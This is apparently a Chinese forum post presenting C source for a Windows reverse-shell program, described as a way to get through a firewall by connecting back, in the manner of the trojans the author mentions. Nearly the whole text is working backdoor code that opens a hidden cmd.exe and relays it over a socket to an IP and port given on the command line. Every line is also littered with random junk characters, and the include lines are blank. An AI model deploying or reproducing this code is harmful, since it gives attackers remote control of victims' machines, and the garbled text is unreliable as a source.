这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 mnG\UK,k
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/* ==============================
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Rebound port in Windows NT YIjBKh
By wind,2006/7 m|e!1_:H
===============================*/ 6V!yfps)
#include E&]S No<
#include Jg: Uv6eN+
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#pragma comment(lib,"wsock32.lib") Rm6<"SLV
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void OutputShell(); ZH/|L?Q1U
SOCKET sClient; XBi@\i=
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; A9F&XF7{
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void main(int argc,char **argv) YW>|gE
{ Jd/5Kx
WSADATA stWsaData; h&[!CtPm
int nRet; )V~<8/)
SOCKADDR_IN stSaiClient,stSaiServer; DR^mT$
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if(argc != 3) *}3~8fu{
{ uV=rLDY
printf("Useage:\n\rRebound DestIP DestPort\n"); 8={(Vf6
return; <K|_M)/9
} Bqa%L.N2SS
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WSAStartup(MAKEWORD(2,2),&stWsaData); -O. MfI+
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); )Z"7^i
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stSaiClient.sin_family = AF_INET; (#7pGGp*E
stSaiClient.sin_port = htons(0); #_4L/LV
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); `7+?1z
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) YIt:_][*
{ 'U5
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printf("Bind Socket Failed!\n"); mqwN<:
return; pLrNYo*d
} Yb414 K
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stSaiServer.sin_family = AF_INET; m[]pIXc(
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); E70
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]);
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 6 3Kec
{ ^:LF
printf("Connect Error!"); R4pbi=
return; Zo'lvOpyZ
} ?RrJYj1
OutputShell(); ?9 2+(s
} C n4|qX"&t
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void OutputShell() bbS'ZkB\
{ >aN@)=h}
char szBuff[1024]; eGtIVY/D
SECURITY_ATTRIBUTES stSecurityAttributes; < _c84,[V
OSVERSIONINFO stOsversionInfo; 6'|J
;
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; [,xFk* #
STARTUPINFO stStartupInfo; S &cH1QZ
char *szShell; \>1M?
PROCESS_INFORMATION stProcessInformation; /vSFQ}W
unsigned long lBytesRead; ]qhVxeUm
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); `hI1
goWD~'\
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES);
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stSecurityAttributes.lpSecurityDescriptor = 0; TDy@Y>
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stSecurityAttributes.bInheritHandle = TRUE; dax|4R
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Sg')w1
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); [uZU p*.V
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 3l<)|!f]g
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; st/Tb/
stStartupInfo.wShowWindow = SW_HIDE; f}nGWV%,
stStartupInfo.hStdInput = hReadPipe; W >;AMun
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; nolTvqMT
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GetVersionEx(&stOsversionInfo); /O/u5P{J
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switch(stOsversionInfo.dwPlatformId) ?W%3>A
{ (#\3XBG
case 1: 5j,)}AYO
szShell = "command.com"; ]:m*7p\uk
break; efZdtrKgy
default: JI@~FD&
szShell = "cmd.exe"; r 3pfG
break; >Py; 6K
} B=|yjA'Fg
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); si%f.A #
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send(sClient,szMsg,77,0); Tb:n6a@
while(1) Xqf"Wx(X
{ nPvR
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); HgduH::\#
if(lBytesRead) "c1vW<;
{ %D e<H*
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); \'BKI;
send(sClient,szBuff,lBytesRead,0); x/bO;9E%U4
} q35%t61Lc
else 0v+5&Jk
{ r$G;^
lBytesRead=recv(sClient,szBuff,1024,0); =xai 7iM
if(lBytesRead<=0) break; U>ob)-tl
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); \muyL?
} >d#B149
} ;(VJZ_
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return; LOR$d^l
}